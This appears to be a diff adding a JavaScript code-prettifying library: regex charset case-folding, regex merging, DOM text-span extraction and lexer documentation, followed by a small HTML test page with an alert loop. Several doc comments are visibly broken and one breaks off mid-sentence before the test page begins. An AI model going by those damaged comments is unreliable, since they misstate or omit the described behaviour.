+ if (inverse) { out.push('^'); }
+
+ for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
+ var p = charsetParts[i];
+ if (/\\[bdsw]/i.test(p)) { // Don't muck with named groups.
+ out.push(p);
+ } else {
+ var start = decodeEscape(p);
+ var end;
+ if (i + 2 < n && '-' === charsetParts[i + 1]) {
+ end = decodeEscape(charsetParts[i + 2]);
+ i += 2;
+ } else {
+ end = start;
+ }
+ ranges.push([start, end]);
+ // If the range might intersect letters, then expand it.
+ // This case handling is too simplistic.
+ // It does not deal with non-latin case folding.
+ // It works for latin source code identifiers though.
+ if (!(end < 65 || start > 122)) {
+ if (!(end < 65 || start > 90)) {
+ ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
+ }
+ if (!(end < 97 || start > 122)) {
+ ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
+ }
+ }
+ }
+ }
+
+ // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
+ // -> [[1, 12], [14, 14], [16, 17]]
+ ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1] - a[1]); });
+ var consolidatedRanges = [];
+ var lastRange = [];
+ for (var i = 0; i < ranges.length; ++i) {
+ var range = ranges[i];
+ if (range[0] <= lastRange[1] + 1) {
+ lastRange[1] = Math.max(lastRange[1], range[1]);
+ } else {
+ consolidatedRanges.push(lastRange = range);
+ }
+ }
+
+ for (var i = 0; i < consolidatedRanges.length; ++i) {
+ var range = consolidatedRanges[i];
+ out.push(encodeEscape(range[0]));
+ if (range[1] > range[0]) {
+ if (range[1] + 1 > range[0]) { out.push('-'); }
+ out.push(encodeEscape(range[1]));
+ }
+ }
+ out.push(']');
+ return out.join('');
+ }
+
+ function allowAnywhereFoldCaseAndRenumberGroups(regex) {
+ // Split into character sets, escape sequences, punctuation strings
+ // like ('(', '(?:', ')', '^'), and runs of characters that do not
+ // include any of the above.
+ var parts = regex.source.match(
+ new RegExp(
+ '(?:'
+ + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]' // a character set
+ + '|\\\\u[A-Fa-f0-9]{4}' // a unicode escape
+ + '|\\\\x[A-Fa-f0-9]{2}' // a hex escape
+ + '|\\\\[0-9]+' // a back-reference or octal escape
+ + '|\\\\[^ux0-9]' // other escape sequence
+ + '|\\(\\?[:!=]' // start of a non-capturing group
+ + '|[\\(\\)\\^]' // start/end of a group, or line start
+ + '|[^\\x5B\\x5C\\(\\)\\^]+' // run of other characters
+ + ')',
+ 'g'));
+ var n = parts.length;
+
+ // Maps captured group numbers to the number they will occupy in
+ // the output or to -1 if that has not been determined, or to
+ // undefined if they need not be capturing in the output.
+ var capturedGroups = [];
+
+ // Walk over and identify back references to build the capturedGroups
+ // mapping.
+ for (var i = 0, groupIndex = 0; i < n; ++i) {
+ var p = parts[i];
+ if (p === '(') {
+ // groups are 1-indexed, so max group index is count of '('
+ ++groupIndex;
+ } else if ('\\' === p.charAt(0)) {
+ var decimalValue = +p.substring(1);
+ if (decimalValue) {
+ if (decimalValue <= groupIndex) {
+ capturedGroups[decimalValue] = -1;
+ } else {
+ // Replace with an unambiguous escape sequence so that
+ // an octal escape sequence does not turn into a backreference
+ // to a capturing group from an earlier regex.
+ parts[i] = encodeEscape(decimalValue);
+ }
+ }
+ }
+ }
+
+ // Renumber groups and reduce capturing groups to non-capturing groups
+ // where possible.
+ for (var i = 1; i < capturedGroups.length; ++i) {
+ if (-1 === capturedGroups[i]) {
+ capturedGroups[i] = ++capturedGroupIndex;
+ }
+ }
+ for (var i = 0, groupIndex = 0; i < n; ++i) {
+ var p = parts[i];
+ if (p === '(') {
+ ++groupIndex;
+ if (!capturedGroups[groupIndex]) {
+ parts[i] = '(?:';
+ }
+ } else if ('\\' === p.charAt(0)) {
+ var decimalValue = +p.substring(1);
+ if (decimalValue && decimalValue <= groupIndex) {
+ parts[i] = '\\' + capturedGroups[decimalValue];
+ }
+ }
+ }
+
+ // Remove any prefix anchors so that the output will match anywhere.
+ // ^^ really does mean an anchored match though.
+ for (var i = 0; i < n; ++i) {
+ if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
+ }
+
+ // Expand letters to groups to handle mixing of case-sensitive and
+ // case-insensitive patterns if necessary.
+ if (regex.ignoreCase && needToFoldCase) {
+ for (var i = 0; i < n; ++i) {
+ var p = parts[i];
+ var ch0 = p.charAt(0);
+ if (p.length >= 2 && ch0 === '[') {
+ parts[i] = caseFoldCharset(p);
+ } else if (ch0 !== '\\') {
+ // TODO: handle letters in numeric escapes.
+ parts[i] = p.replace(
+ /[a-zA-Z]/g,
+ function (ch) {
+ var cc = ch.charCodeAt(0);
+ return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
+ });
+ }
+ }
+ }
+
+ return parts.join('');
+ }
+
+ var rewritten = [];
+ for (var i = 0, n = regexs.length; i < n; ++i) {
+ var regex = regexs[i];
+ if (regex.global || regex.multiline) { throw new Error('' + regex); }
+ rewritten.push(
+ '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
+ }
+
+ return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
+ }
+
+ /**
+ * Split markup into a string of source code and an array mapping ranges in
+ * that string to the text nodes in which they appear.
+ *
+ *
+ * where #1 is a reference to the {@code "print "} text node above, and so
+ * on for the other text nodes.
+ *
+ *
+ *
+ * The {@code} spans array is an array of pairs. Even elements are the start
+ * indices of substrings, and odd elements are the text nodes (or BR elements)
+ * that contain the text for those substrings.
+ * Substrings continue until the next index or the end of the source.
+ *
+ *
+ * @param {Node} node an HTML DOM subtree containing source-code.
+ * @param {boolean|number} isPreformatted truthy if white-space in
+ * text nodes should be considered significant.
+ * @return {SourceSpansT} source code and the nodes in which they occur.
+ */
+ function extractSourceSpans(node, isPreformatted) {
+ var nocode = /(?:^|\s)nocode(?:\s|$)/;
+
+ var chunks = [];
+ var length = 0;
+ var spans = [];
+ var k = 0;
+
+ function walk(node) {
+ var type = node.nodeType;
+ if (type == 1) { // Element
+ if (nocode.test(node.className)) { return; }
+ for (var child = node.firstChild; child; child = child.nextSibling) {
+ walk(child);
+ }
+ var nodeName = node.nodeName.toLowerCase();
+ if ('br' === nodeName || 'li' === nodeName) {
+ chunks[k] = '\n';
+ spans[k << 1] = length++;
+ spans[(k++ << 1) | 1] = node;
+ }
+ } else if (type == 3 || type == 4) { // Text
+ var text = node.nodeValue;
+ if (text.length) {
+ if (!isPreformatted) {
+ text = text.replace(/[ \t\r\n]+/g, ' ');
+ } else {
+ text = text.replace(/\r\n?/g, '\n'); // Normalize newlines.
+ }
+ // TODO: handle tabs here?
+ chunks[k] = text;
+ spans[k << 1] = length;
+ length += text.length;
+ spans[(k++ << 1) | 1] = node;
+ }
+ }
+ }
+
+ walk(node);
+
+ return {
+ sourceCode: chunks.join('').replace(/\n$/, ''),
+ spans: spans
+ };
+ }
+
+ /**
+ * Apply the given language handler to sourceCode and add the resulting
+ * decorations to out.
+ * @param {!Element} sourceNode
+ * @param {number} basePos the index of sourceCode within the chunk of source
+ * whose decorations are already present on out.
+ * @param {string} sourceCode
+ * @param {function(JobT)} langHandler
+ * @param {DecorationsT} out
+ */
+ function appendDecorations(
+ sourceNode, basePos, sourceCode, langHandler, out) {
+ if (!sourceCode) { return; }
+ /** @type {JobT} */
+ var job = {
+ sourceNode: sourceNode,
+ pre: 1,
+ langExtension: null,
+ numberLines: null,
+ sourceCode: sourceCode,
+ spans: null,
+ basePos: basePos,
+ decorations: null
+ };
+ langHandler(job);
+ out.push.apply(out, job.decorations);
+ }
+
+ var notWs = /\S/;
+
+ /**
+ * Given an element, if it contains only one child element and any text nodes
+ * it contains contain only space characters, return the sole child element.
+ * Otherwise returns undefined.
+ *
+ * This is meant to return the CODE element in {@code
} when
+ * there is a single child element that contains all the non-space textual
+ * content, but not to return anything where there are multiple child elements
+ * as in {@code
......
} or when there
+ * is textual content.
+ */
+ function childContentWrapper(element) {
+ var wrapper = undefined;
+ for (var c = element.firstChild; c; c = c.nextSibling) {
+ var type = c.nodeType;
+ wrapper = (type === 1) // Element Node
+ ? (wrapper ? element : c)
+ : (type === 3) // Text Node
+ ? (notWs.test(c.nodeValue) ? element : wrapper)
+ : wrapper;
+ }
+ return wrapper === element ? undefined : wrapper;
+ }
+
+ /** Given triples of [style, pattern, context] returns a lexing function,
+ * The lexing function interprets the patterns to find token boundaries and
+ * returns a decoration list of the form
+ * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
+ * where index_n is an index into the sourceCode, and style_n is a style
+ * constant like PR_PLAIN. index_n-1 <= index_n, and style_n-1 applies to
+ * all characters in sourceCode[index_n-1:index_n].
+ *
+ * The stylePatterns is a list whose elements have the form
+ * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
+ *
+ * Style is a style constant like PR_PLAIN, or can be a string of the
+ * form 'lang-FOO', where FOO is a language extension describing the
+ * language of the portion of the token in $1 after pattern executes.
+ * E.g., if style is 'lang-lisp', and group 1 contains the text
+ * '(hello (world))', then that portion of the token will be passed to the
+ * registered lisp handler for formatting.
+ * The text before and after group 1 will be restyled using this decorator
+ * so decorators should take care that this doesn't result in infinite
+ * recursion. For example, the HTML lexer rule for SCRIPT elements looks
+ * something like ['lang-js', /<[s]cript>(.+?)<\/script>/]. This may match
+ * '
+
+
+
+
+
+
+
+
+
+<!doctype html>
+<html>
+<head>
+<title>HTML Test</title>
+<script type="text/javascript">
+// Say hello world until the user starts questioning
+// the meaningfulness of their existence.
+function helloWorld(world) {
+ for (var i = 42; --i >= 0;) {
+ alert('Hello ' + String(world));
+ }
+}
+</script>
+<style type="text/css">
+p { color: pink }
+b { color: blue }
+u { color: "umber" }
+</style>
+</head>
+<body>
+<h1>Hello world!</h1>
+</body>
+</html>
+